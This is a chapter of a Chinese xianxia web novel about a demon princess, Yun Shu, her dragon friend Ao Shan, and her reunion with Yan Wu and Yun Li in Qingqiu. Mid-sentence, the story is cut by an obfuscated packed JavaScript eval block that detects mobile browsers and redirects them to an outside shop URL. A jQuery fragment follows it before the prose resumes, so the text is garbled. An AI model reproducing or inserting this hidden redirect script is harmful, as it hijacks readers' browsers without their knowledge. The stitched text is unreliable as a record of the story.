这个敖珊,居然愚蠢的去送死,她连她都打不过,还试图去刺杀她父亲。
放在平常简直要气笑了,不过一连串的事情堆积起来,她笑不出来,心中只是很生气。
然而她又舍不得用更锋利的字眼骂她,只得一边哭的满脸泪痕,一边不断的重复这两个字。
事实证明,没有太多攻击力的两个字,重复的多了,也能骂的人破防。
敖珊终于有了生气,忍不住回嘴:“我愚蠢?我找的时机本来正好,谁知道你那个青梅竹马那么敏锐?冲上去你爹都没反应过来,他一剑挡了上来!”
“你就是愚蠢!愚蠢!”
“你再骂我,我跟你急!”
“搞笑,龙珠都没了,你还跟我急?”
敖珊冷笑一声:“这是在水里,没有龙珠,我也是天生的龙族。”
看着云舒的哭相,敖珊心头一酸软,云舒开始倒豆子了:“你要报仇就找我父亲好了,一码归一码,我们魔界不存在父债子偿。但是你的命你记好了,敖珊,你给我记好了!你不知道我是怎么救的你,呜呜呜。”
龙珠在父亲那,她还得回去。再者,她必须要尽力去做一些事情。
敖珊觉得不妙,云舒这样说,她才意识到云舒说的救她,根本就不是一句话的事情。
她忽略了一点,云舒虽然是魔族少主,但是魔族归根结底一直不是那种很重血脉亲情的种族,强者为尊力压弱者才是常态。
她失去意识的最后一刻,是仰视过去魔君充满杀意冷峻的面容。
那么云舒究竟是以怎么样的条件,从魔君手下换回了她?
“你做了什么?”
哼,她就不告诉她,让她猜,让她察觉产生的死意是多么无理取闹愧对她的一件事情!
云舒用湿漉漉的手抹去面上的乱七八糟:“敖珊,你回天宫吧,”
回了天宫,就再也不要下来了,她会把龙珠完好无损地放回她的身体里。
她不肯吃亏的。丢掉的的傲骨要一并找回来,这天地之间,也不允许变成都是魔界的模样。
敖珊摇头:“族人还在魔界,我怎么能回天宫?我要去南海,找我的叔叔南海龙王,请他出面去寻东海龙王,连同北海龙王一起商量对策!”
只要她不自己去送死,怎么样都行。
云舒赞同的点了点头。
“对了,魔君拿走了我们龙族的神药融魂丹,这次来他好像目的就是这个。”
啥玩意?
敖珊自动解释:“是我们龙族渡劫魂魄不稳的时候加固身体与魂魄融合的一种神药。”
云舒莫名其妙,父亲要这东西做什么?
敖珊伸出手去,揽过云舒,两颗心在冰冷的泉水里相贴。
敖珊趴在她的肩膀上,云舒安慰似的抚了抚她的背:“你可别哭啊,我跟父亲约定好了,暂时不会动你的龙族的。”
“谁哭了?”敖珊闷闷的声音在耳畔响起。
啧,云舒分明感觉到肩头有不一样的湿意。
云舒没有继续说下去那话,以敖珊对她的了解,一般她不说的时候,那一定是极重的、或者违背她心思的事情。
还不清了。
她想要她好好活着。
“明明刚才是你在哭,哭的一把鼻涕一把泪,好丑。”
这云舒就不乐意了:“胡说,我不会流鼻涕!”
“舒儿,你要是弃暗投明就来找我吧。”
“笨敖珊,我就是弃暗投明,也只是死路一条,天地无人能容我。”
“那你就来西海,天界胜了,你就来西海。等我当上西海龙王,除非别人跨过我的尸体,否则没人能动你。”
云舒笑,眼角又沁出湿意:“那要是魔界胜了呢?”
敖珊哽咽,轻松说到:“那以后你替我看这世间。”
云舒轻轻点头:“好。”
魔界不会胜,天界也不会胜,她们都不能死。
“走了。”
“嗯。”
云舒放开对方,一个起落飞上了岸,施了个法术烘干了自己的衣服。
身上的伤全好了,法力也恢复了。
遥远的山头上,青鸾与墨发纷飞的人影交相映照在暮色之下。
敖珊也爬了上来。
二人再没说什么,对视一眼,云舒脚尖一踏,往晏梧所在之地飞去。
那里还有个煞神等着她呢。
晏梧一直看着她的到来,不知怎么的,云舒觉得他没有第一次见面时那么凶神恶煞了,看着她的眼神,有一种很奇怪的……慈爱?
云舒冷不丁打了个寒颤。
晏梧忙问:“冷吗?是不是在里面泡久了?”
云舒摇头:“我不冷,我们往哪去?”
晏梧示意她坐上青鸾:“走吧,我们去青丘,去见一个……很想见你的人。”
青丘能有什么想见她的人?
南荒……
云舒无意识的抚上胸口凤凰吊坠所在的地方,想起渊行说过,自己的玉佩来自南荒,可是现在她已经不抱希望了。魔界与天界对立的那么彻底,且不说母亲到底活不活着,假如她真的找到了,平白添了许多烦恼与伤心,到时她更是要陷入无可挣扎的地步。
还有渊行,那会子醉酒其实记得不是那么清楚,隐约听见赤练提了一嘴,说渊行为了她受了伤,她还没有探究这是怎么一回事儿,似乎与她的雷劫有关么?
至于什么快不行了……古神陨落天地必出异象,这个她自有分辨。
唯独那句“不要再上天来了”,她记得十分清楚,目前非常让他如意。
云舒走着神,回神过来的时候,发现晏梧还在一直盯着她,见她回神了,问到:“你是不是有一只白玉凤凰?”
云舒犹豫着该不该回答这个问题,心道他这么问,一定是有了把握,这回到了别人的地盘早晚是要被发现的,索性点了点头:“不错,我是有一个凤凰吊坠,白玉做的。”
晏梧不负云舒期待地继续问到:“从没听说过魔界有魔后呀。”
云舒道:“父亲说,母亲早就去世了,因此也没有再立魔后。”
晏梧俏脸蒙上一层冰霜:“魔族宵小竟是这样告诉你的么?”
不行,他要回深渊一趟。
虽然这一去危险性极大,但是他已经无法忍受这该死的天魔。
对他一家三口的罪恶,简直罄竹难书!
云舒突然道:“你怎么知道我有吊坠?你知道这吊坠的出处?”
晏梧道:“你那白玉不仅来自丹穴山,且是丹穴山中最好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006389|190635||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的玉料所作,不仅雕刻繁复,而且有着特殊的作用,能够压体内的煞气,平稳气息。丹穴山是凤族的栖息之地,那玉佩来自凤族,是凤族族长之物。”
云舒的心狂跳起来,她母亲,难道是一只凤凰?
那么问题来了,为什么她不是凤凰?
他的话云舒自然不会全信,她更相信,他带她回南荒,是有目的的。
所以她没有接话。
晏梧神情黯淡。
看来她还是不能接受一些突如其来的说法。
云舒冷淡的态度让晏梧不知道怎么与她相处,连沉默的时候都有些忐忑,心中嘀咕他应该多去凡间找几本育子的书看看,或者回头可以跟刚出生了孩子的青丘狐狸们交流交流。
“我几次见你都发现你好像并不是很熟练的能够控制煞气,而且你体内的气息很杂。”
看见云舒认真听他讲话,他松了松心中那根弦,继续说到:“我二人也许是天地之间唯二的煞神,这个世界上目前也没有人比我控制煞气更加熟练了,你想学一学吗?”
“你怎么突然对我这么好?”
“如果你是……你是那人的孩子,我与你母亲关系匪浅。”
当然是关系匪浅,甚至是夫妻。
晏梧更有底气了:“所以么,照顾一下你是应该的。”
晏梧手中一拈,拈出一朵绿色的花,递给她。
云舒好奇伸出接过,一股芳香扑鼻而来,她凑近闻了闻,香味更浓更叫人心旷神怡:“绿的?世界上还有绿色的花?”
他又拈出几朵,漂浮在她面前,个个娇艳欲滴,一上一下的摆动,转了一圈又蹭到她手中,煞是可爱。
没有女子不爱花,云舒不由得笑了一下。
“小崽子,不要愁眉不展的了。”
“谢谢你。”这次云舒是发自真心的。
“不客气。我们已经到南荒的地界了,约莫再过一刻钟,就会到青丘。”
晏梧心中一动。
啧,涂山家那小子,给他女儿做玩伴好像刚刚好啊。
不错,反正要让阿妩调教么……先练一练他再说。
云漓早在青鸾进入南荒之时就已经感受到晏梧二人的气息。早已收到晏梧来信的她,这会儿正捏紧了玉手,翘首以盼二人的落地。
直至青鸾在青丘落下的那一刻,她失去了所有从容,快步走了过去。
从鸾鸟上下来的先是晏梧,她与晏梧对视了一眼,二人确认了眼中的信息,云离缓缓向晏梧身后露出的那个纤细的身影看去。
那样的眼角眉梢……
云漓脑中“轰”地一声,颤抖起来,随即被走过来的晏梧握住了手。
晏梧安抚地对她轻轻一笑,给了她信心:“阿妩,只有你来确定了。”
四周无人,云漓早已下了命令,不许任何人靠近此处。她怕人太多,会吓到了她。
即便她已经得知了这些年,她是作为魔界少主生活的,应当也不会畏惧生人场面。
失态的女帝缓了口气,闭眼睁眼之间,又是那个叱咤风云的南荒女帝了。
她松开晏梧地手,又往前走了两步,只有微微期待渴望的眼神,泄露了她此时的心情。
“云舒么,我为南荒之主,我的名字叫……云漓!”